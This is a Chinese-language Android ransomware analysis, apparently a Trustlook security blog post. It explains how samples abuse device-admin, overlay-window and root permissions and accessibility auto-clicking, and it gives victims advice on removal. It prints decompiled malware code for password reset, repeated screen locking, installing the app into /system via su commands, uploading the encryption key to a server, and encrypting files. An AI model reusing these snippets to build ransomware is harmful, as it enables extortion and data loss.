Trustlook's Integration with OKC (OKX Chain)
San Jose, California, Oct. 19, 2022, Trustlook, the global leader ...
作者:月落
勒索软件多伪装成一些系统功能组件,或一些特殊功能的APP(如色情、游戏外挂、正规应用破解版等),诱骗用户进行安装,在索要系统的一些权限之后,锁定用户的设备,并进行敲诈。
多数勒索软件由于自身的设计或bug,以及高版本安卓系统上API的限制,即便用户交了赎金也无法成功解锁,这将直接导致数据的丢失,个人信息的泄露,甚至信用卡被盗刷,对用户造成了极大的损失。
通过一系列的样本研究与受害者反馈,得知勒索软件通常有两种类型:
索要赎金的形式包括但不限于:支付宝/微信转账、比特币交易、索要信用卡信息。
索要设备管理器权限
Device admin是一个很危险的权限,设计之初,这个功能是用于厂家开发手机防盗功能的一个接口,只要用户安装此类APP并点击Activate,APP便具备设备管理员权限,并具备以下权限的一种或多种:
一旦给予了恶意应用如上权限,后果将不堪设想,勒索软件的作者可以随心所欲的对用户的手机进行锁定,重置密码等操作,因此一定不要随意给予第三方软件这个权限。
需要使用设备管理器权限时,需要在manifest.xml中显式注册一个BoardcastReceiver:
<receiver
android:name=".AdminReceiver"
android:permission="android.permission.BIND_DEVICE_ADMIN">
<meta-data
android:name="android.app.device_admin"
android:resource="@xml/device_admin" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
meta-data中一个额外的device_admin.xml用于声明要使用的管理员权限:
<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
<uses-policies>
<limit-password />
<watch-login />
<reset-password />
<force-lock />
<wipe-data />
<expire-password />
<encrypted-storage />
<disable-camera />
</uses-policies>
</device-admin>
样本恶意代码片段:
/* Access modifiers changed, original: protected */
public void onActivityResult(int i, int i2, Intent intent) {
if (i2 == -1) {
startService(new Intent(getBaseContext(), admsurprises2.class));
} else {
mo5a();
}
super.onActivityResult(i, i2, intent);
}
/* Access modifiers changed, original: protected */
/* renamed from: a */
public void mo5a() {
this.f7f = (DevicePolicyManager) getSystemService("device_policy");
if (!this.f7f.isAdminActive(new ComponentName(this, Abrab16.class))) {
Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
intent.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName(this, Abrab16.class));
intent.putExtra("android.app.extra.ADD_EXPLANATION", getString(C0079R.string.admindescription));
intent.setFlags(536870912);
startActivityForResult(intent, this.f8g);
}
}
此段代码会向用户索要权限,只要用户不给,便循环弹窗索取,
一旦用户给了权限,想要取消激活就只能在设置->安全->设备管理应用程序 中手动取消激活,但此时已经为时已晚:
public C0000a(Emanuell emanuell) {
super(emanuell);
this.iiiIiilIiilllliIlIillllIliiliIiIiIIllIIIilIIliiiilIilIllliliiI = Color.parseColor("#50afb0b3");
this.IIiIllIIIIIiIlIiiIlllIlllIiIliiIlIIlliIIlIlllliilIIlIIiI = Color.parseColor("#FFFFFF");
this.lIIiliiIiIIlIIiilIilllilIIIIiiiiilliIIiliiiilIIliiiIIIIIIi = Color.parseColor("#e9eaeb");
this.llIIilIlIiillIiilliiIIIiiIiiiIIilIlIIlIiiiiiiIliliIIlIiIiIl = "ackgroun";
this.f25x247bca60 = 0;
this.f22x392a2849 = C0079R.layout.activity_main;
this.f25x247bca60 = 1;
DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getContext().getSystemService("device_policy");
if (devicePolicyManager.isAdminActive(new ComponentName(getContext(), Abrab16.class))) {
String valueOf = String.valueOf(new Random().nextInt(9999999));
if (Build.BRAND.startsWith("lg")) {
valueOf = "";
}
devicePolicyManager.resetPassword(valueOf, 1);
}
setLongClickable(true);
setOnLongClickListener(new C0027b(this));
IIliliIlIillilIliIiIliiiiiIiIIiIIilllIlIiilIi();
}
恶意软件便可以通过resetPassword方法重置掉用户的锁屏密码。
Android N(7.x)中,DevicePolicyManager.resetPassword方法只能为没有密码的机器设置初始密码,但不能重置或者清除已有的密码了,因此旧版本的恶意应用在有密码的机器上是没办法设置密码的。
当App targetsdkversion为Android O(8.x)及以上,该API会直接抛出SecurityException异常,因此恶意应用会选择较低的targetsdk版本进行规避。
恶意代码片段:
public CharSequence onDisableRequested(Context arg4, Intent arg5) {
Intent v0 = arg4.getPackageManager().getLaunchIntentForPackage(this.a);
v0.setFlags(0x10000000);
arg4.startActivity(v0);
DevicePolicyManager v0_1 = (DevicePolicyManager)arg4.getSystemService("device_policy");
v0_1.lockNow();
new Thread(new bj(this, v0_1)).start();
return "";
}
class bj implements Runnable {
bj(Abrab16 arg1, DevicePolicyManager arg2) {
this.a = arg1;
this.b = arg2;
super();
}
public void run() {
int v0;
for(v0 = 0; v0 < 140; ++v0) {
this.b.lockNow();
try {
Thread.sleep(50);
}
catch(InterruptedException v1) {
v1.printStackTrace();
}
}
}
}
勒索应用通过悬浮窗口,来把自己显示在其他应用的窗口上并遮挡整个屏幕,来实现锁屏效果,此时其他应用的窗口是无法正常显示与交互的,因此用户无法关闭该应用,同时勒索软件会提示用户付款或欺骗用户提交信用卡信息到他们的服务器来获取解锁码。
如果用户使用的是Android 8.0以上版本,可以通过任务栏找到权限管理菜单:
取消应用的权限,并回到系统设置对恶意应用进行卸载。
仍在使用低版本安卓系统的用户,如果此时还未给予该恶意应用更多的权限(如设备管理员、Root等),可尝试长按开机键打开电源选项,长按“关机”选项,会提示是否进入安全模式,点击确定之后,在安全模式下,所有第三方应用将被禁用,此时可在系统设置中将其卸载,之后重启便会回到正常的状态。
根据系统版本以及Rom不同,可能会有所差异,如果手机开启了USB调试功能,可尝试连接到电脑并通过ADB进行卸载。
技术细节
想要在其他应用上层显示悬浮窗,需要在manifest.xml中显式声明android.permission.SYSTEM_ALERT_WINDOW
即可使用:
TYPE_SYSTEM_ALERT
TYPE_SYSTEM_DIALOG
TYPE_SYSTEM_ERROR
TYPE_SYSTEM_OVERLAY
等窗口类型,谷歌官方已经强调只有极少数应用应该使用这个权限,因此多被勒索软件所利用,以下恶意代码用于绘制勒索窗口:
/* renamed from: phrdqa.ajdjtykdcxedhefkh.gyaspacm.bk */
public class C0038bk extends RelativeLayout {
/* renamed from: a */
protected LayoutParams f50a;
/* renamed from: b */
int f51b = Color.parseColor("#50afb0b3");
/* renamed from: c */
int f52c = Color.parseColor("#FFFFFF");
/* renamed from: d */
int f53d = Color.parseColor("#e9eaeb");
/* renamed from: e */
String f54e = "ackgroun";
/* renamed from: f */
private int f55f;
/* renamed from: g */
private int f56g = 0;
/* renamed from: h */
private WebView f57h;
/* renamed from: i */
private admsurprises2 f58i;
public C0038bk(admsurprises2 admsurprises2) {
super(admsurprises2);
this.f58i = admsurprises2;
this.f55f = C0079R.layout.activity_main2;
this.f56g = 1;
mo120f();
}
/* renamed from: a */
private String m23a(String str) {
if (str == null || str.length() == 0) {
return "";
}
char charAt = str.charAt(0);
return !Character.isUpperCase(charAt) ? Character.toUpperCase(charAt) + str.substring(1) : str;
}
/* renamed from: k */
private void m24k() {
int i = (int) (((double) getResources().getDisplayMetrics().heightPixels) * 0.9d);
if ("xiaomi".equalsIgnoreCase(Build.MANUFACTURER)) {
this.f50a = new LayoutParams(-1, -1, 2005, 256, -3);
} else {
this.f50a = new LayoutParams(-1, -1, 2010, 256, -3);
}
this.f50a.screenOrientation = 1;
this.f50a.gravity = getLayoutGravity();
mo111a();
}
/* Access modifiers changed, original: protected */
/* renamed from: a */
public void mo111a() {
}
/* Access modifiers changed, original: protected */
/* renamed from: a */
public void mo112a(MotionEvent motionEvent) {
}
/* Access modifiers changed, original: protected */
/* renamed from: a */
public boolean mo113a(int i) {
return true;
}
/* Access modifiers changed, original: protected */
/* renamed from: b */
public void mo114b() {
((LayoutInflater) getContext().getSystemService("layout_inflater")).inflate(this.f55f, this);
this.f57h = (WebView) findViewById(C0050bw.webView1);
WebSettings settings = this.f57h.getSettings();
try {
Class.forName("android.webkit.WebSettings").getMethod("setJavaScriptEnabled", new Class[]{Boolean.TYPE}).invoke(settings, new Object[]{Boolean.valueOf(true)});
} catch (Exception e) {
}
this.f57h.setWebViewClient(new C0048bu(this));
String str = "tp";
try {
Class.forName("android.webkit.WebView").getMethod("lo" + "adU" + "rl", new Class[]{String.class}).invoke(this.f57h, new Object[]{"file:///android_asset/index.html"});
} catch (Exception e2) {
}
mo116c();
}
/* Access modifiers changed, original: protected */
/* renamed from: b */
public void mo115b(MotionEvent motionEvent) {
}
/* Access modifiers changed, original: protected */
/* renamed from: c */
public void mo116c() {
}
/* Access modifiers changed, original: protected */
/* renamed from: c */
public void mo117c(MotionEvent motionEvent) {
}
/* renamed from: d */
public boolean mo118d() {
return true;
}
/* Access modifiers changed, original: protected */
/* renamed from: e */
public void mo119e() {
m24k();
((WindowManager) getContext().getSystemService("window")).addView(this, this.f50a);
try {
Method method = super.getClass().getSuperclass().getMethod("setVisibility", new Class[]{Integer.TYPE});
try {
method.invoke(super.getClass(), new Object[]{Integer.valueOf(8)});
} catch (IllegalArgumentException e) {
e.printStackTrace();
} catch (IllegalAccessException e2) {
e2.printStackTrace();
} catch (InvocationTargetException e3) {
e3.printStackTrace();
}
} catch (NoSuchMethodException e4) {
e4.printStackTrace();
}
}
/* Access modifiers changed, original: protected */
/* renamed from: f */
public void mo120f() {
mo114b();
mo119e();
mo126h();
}
/* renamed from: g */
public void mo121g() {
((WindowManager) getContext().getSystemService("window")).removeView(this);
}
public String getDeviceName() {
String str = Build.MANUFACTURER;
String str2 = Build.MODEL;
return str2.startsWith(str) ? m23a(str2) : m23a(str) + " " + str2;
}
public int getLayoutGravity() {
return 48;
}
/* Access modifiers changed, original: protected */
public int getLeftOnScreen() {
int[] iArr = new int[2];
getLocationOnScreen(iArr);
return iArr[0];
}
public Emanuell getService() {
return (Emanuell) getContext();
}
/* renamed from: h */
public void mo126h() {
if (mo118d()) {
new C0041bn(this).iiIIIiilillIilIlIllIllliIlliIiilIililIIiIllil(0);
mo127i();
return;
}
new C0041bn(this).iiIIIiilillIilIlIllIllliIlliIiilIililIIiIllil(8);
}
/* Access modifiers changed, original: protected */
/* renamed from: i */
public void mo127i() {
}
/* Access modifiers changed, original: protected */
/* renamed from: j */
public boolean mo128j() {
return true;
}
public boolean onTouchEvent(MotionEvent motionEvent) {
if (motionEvent.getActionMasked() == 0) {
mo117c(motionEvent);
} else if (motionEvent.getActionMasked() == 1) {
mo112a(motionEvent);
} else if (motionEvent.getActionMasked() == 2) {
mo115b(motionEvent);
}
return super.onTouchEvent(motionEvent);
}
public void setVisibility(int i) {
boolean z = false;
Emanuell service;
int i2;
if (i == 0) {
service = getService();
i2 = this.f56g;
if (!mo128j()) {
z = true;
}
service.mo11a(i2, z);
} else {
service = getService();
i2 = this.f56g;
if (!mo128j()) {
z = true;
}
service.mo12b(i2, z);
}
if (getVisibility() != i && mo113a(i)) {
new C0045br(this).IliliIlIIIIiiiilIIilIlliIlIililIiilIiiIilIIiliIllill(i);
}
}
}
附加说明
Android N(7.x)开始,浮窗权限需要动态申请才可以使用。
Android O(8.0)及以上
TYPE_SYSTEM_ALERT
TYPE_SYSTEM_OVERLAY
TYPE_SYSTEM_ERROR
等窗口类型被禁用,会抛出异常,提示permission denied for window type XXXX
注意:以上限制仅对高版本SDK有效(23),恶意应用往往不会使用较高的SDK版本进行开发,如样本的声明:
故意不声明TargetSdkVersion的话,默认同minsdkVersion,新版本Android为了向前兼容性,因此不会阻止应用使用上述窗口,但用户已经有办法通过任务栏关闭恶意应用,因此锁屏类应用在高版本安卓上已经失去了意义。
此类应用会伪装成游戏辅助,系统辅助等应用,因此类应用通常需要较高的系统权限来完成对系统或者其他进程的注入与修改,因此部分恶意应用同样伪装成工具类应用,并诱使用户给予Root权限来使用这些“高级功能”。
一旦用户给了Root权限:
勒索软件原形毕露,开始要求用户交赎金获取解锁码(但实际上交了钱也不会解锁)。
一般用户是不需要Root权限的,谷歌与厂家为了用户体验也在不断的优化系统,把最好的一面给用户,因此现在“改机”的必要越来越少了,同时厂家为了大多数用户的设备安全,做了很多限制来禁止用户获取Root权限,一旦恶意应用拿到了Root权限,后果将不堪设想,利用Root权限,恶意应用可以破坏系统文件,窃取隐私,妨碍用户正常使用手机,是极其危险的,如果不幸中招,可以尝试“刷机”来解决。
技术细节
由于Root的权限特别大,不同恶意应用的利用方式也不同,但执行Shell命令通常会使用类似下面的代码:
Process v0_1 = (Process)null;
v2 = (BufferedReader)null;
v3 = (BufferedReader)null;
StringBuilder v4 = (StringBuilder)null;
StringBuilder v5 = (StringBuilder)null;
DataOutputStream v6 = (DataOutputStream)null;
try {
Runtime v8 = Runtime.getRuntime();
String v7_2 = arg13 ? "su" : "sh";
v8_1 = v8.exec(v7_2);
goto label_28;
}
样本中执行的shell命令:
QQ.execCommand(new String[]{"mount -o rw,remount /system", "mount -o rw,remount /system/app", "cp /sdcard/Android/weixinzhifubao /system/app/", "chmod 777 /system/app/weixinzhifubao", "mv /system/app/weixinzhifubao /system/app/QQweixin.apk", "chmod 644 /system/app/QQweixin.apk", "reboot"}, true);
通过shell命令将恶意应用写入System/App中,将自己安装为系统APP,这样可以起到恢复出厂设置和一般的“刷机”无效的情况。
附加说明
Root权限危害过大,可以实现非常多的恶意功能,因此不做赘述。
该病毒类似于永恒之蓝事件所爆发时的wannacry勒索软件,通过比特币的形式勒索用户缴纳赎金并规避现金交易的风险,首先该软件会要求用户开启辅助点击服务,一旦用户给予了权限,立即跳转到激活设备管理器页面并模拟点击激活设备管理器,以上操作仅仅为了增强自身的存活性,之后便加密文件,跳出勒索界面要求用户缴纳赎金。
如果数据被加密且使用了非对称加密算法,或密钥是随机生成并被上传到作者的服务器,数据恢复的概率会变得十分渺茫。
技术细节
生成随机密码并上传至作者的服务器:
public static SecretKey a() {
SecretKey v0_2;
try {
SecureRandom v0_1 = new SecureRandom();
KeyGenerator v1 = KeyGenerator.getInstance(k.a[22]);
v1.init(0x100, v0_1);
v0_2 = v1.generateKey();
}
catch(Exception v0) {
v0_2 = null;
}
return v0_2;
}
public void a(Context arg8, String arg9, String arg10) {
new r(arg8, k.a[24]).execute(new Object[]{String.format(Locale.US, k.a[25], Arrays.toString(k.c.getEncoded()), arg9, Build.MODEL, arg10)});
}
public static final CharSequence a(Context arg8, List arg9, boolean arg10) {
Throwable v2_2;
Closeable v0_3;
InputStream v2_1;
Closeable v1 = null;
StringBuilder v3 = new StringBuilder();
if(llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll.a(arg8)) {
try {
HttpPost v0_2 = new HttpPost(new URI(llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll.b(arg8)));
v0_2.setEntity(new UrlEncodedFormEntity(arg9, llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll.a[4]));
BasicHttpParams v2 = new BasicHttpParams();
HttpConnectionParams.setConnectionTimeout(((HttpParams)v2), 300000);
HttpConnectionParams.setSoTimeout(((HttpParams)v2), 60000);
HttpConnectionParams.setTcpNoDelay(((HttpParams)v2), true);
v2_1 = new DefaultHttpClient(((HttpParams)v2)).execute(((HttpUriRequest)v0_2)).getEntity().getContent();
}
catch(Exception v0_1) {
v0_3 = null;
goto label_43;
}
加密或解密用户的文件:
try {
if(v0_4.length() <= 0 || (((double)e.a(v0_4.length()))) > c.b) {
goto label_12;
}
if(this.i) {
byte[] v1 = o.a(v0_4.getAbsolutePath());
if(v1.length == 0) {
goto label_12;
}
if(this.b(v0_4)) {
this.j = false;
v1_1 = null;
}
else {
v1_1 = this.a(this.a(arg11[0], v1), o.b(v0_4), 0);
this.h = this.h + v0_4.getAbsolutePath() + f.m[24] + v0_4.length() + f.m[26] + "\n";
this.j = true;
}
v3 = v1_1;
goto label_61;
}
if(this.b(v0_4)) {
v1_2 = this.a(this.b(arg11[0], o.a(v0_4)), o.b(v0_4), 0);
this.h = this.h + v0_4.getAbsolutePath() + f.m[27] + v0_4.length() + f.m[23] + "\n";
this.j = true;
if(v4 == 0) {
v3 = v1_2;
goto label_61;
}
}
goto label_133;
}
附加说明
该恶意应用伪装为adobe flash player的更新,并欺骗用户开启名为“Google Play Service”的辅助功能,极具迷惑性,一旦用户开启了辅助功能,该应用便可以自行开启设备管理器功能,并且当用户试图去卸载时,就要先去禁用设备管理器,应用直接模拟点击取消按钮防止用户关掉该界面,同时代码做了字符串混淆,用于干扰静态分析引擎,而代码加密部分则是使用Java自带的Crypto类以及FileStream。
模拟点击的部分代码:
public static void a(AccessibilityNodeInfo arg5, int arg6, String[] arg7) {
int v3 = c.d;
if(arg5 != null) {
int v2 = 0;
int v0 = 0;
try {
while(v2 < arg7.length) {
((AccessibilityNodeInfo)arg5.findAccessibilityNodeInfosByViewId(arg7[v2]).get(0)).performAction(16);
++v2;
v0 = 1;
if(v3 == 0) {
continue;
}
goto label_18;
}
}
catch(Exception v0_1) {
goto label_29;
}
if(v0 != 0) {
return;
}
v0 = 0;
try {
while(true) {
label_18:
if(v0 >= arg5.getChildCount()) {
return;
}
lIllIIIllLlllIIIllIIlllLIlllIllIllIllLllIIILllIllllllIII.a(arg5.getChild(v0), arg6 + 1, arg7);
++v0;
}
}
catch(Exception v0_1) {
}
label_29:
}
}
勒索类恶意软件的目的通常很明确,仅仅是为了进行不法牟利,而用户的数据安全和隐私并非不法分子所考虑的,即便交了赎金也未必可以解锁,因此不要轻易的转账或提交个人信息造成更严重的损失,切记不要随意安装非正规应用商店中的软件,同时要留意应用所需的权限,不要随意给予与应用功能无关的权限。
用户安全意识淡薄,没有在正规的渠道下载应用是导致下载安装恶意应用的根本原因,安装杀毒软件,及时更新Android系统版本以及月安全补丁可以有效避免被恶意应用所侵扰。
Trustlook团队多年来坚守安卓移动安全,自主开发基于人工智能的核心杀毒引擎,并辅助多年积累的病毒特征库,有效检测已知和未知的各种安卓病毒和恶意软件,具体信息请查阅公司网站: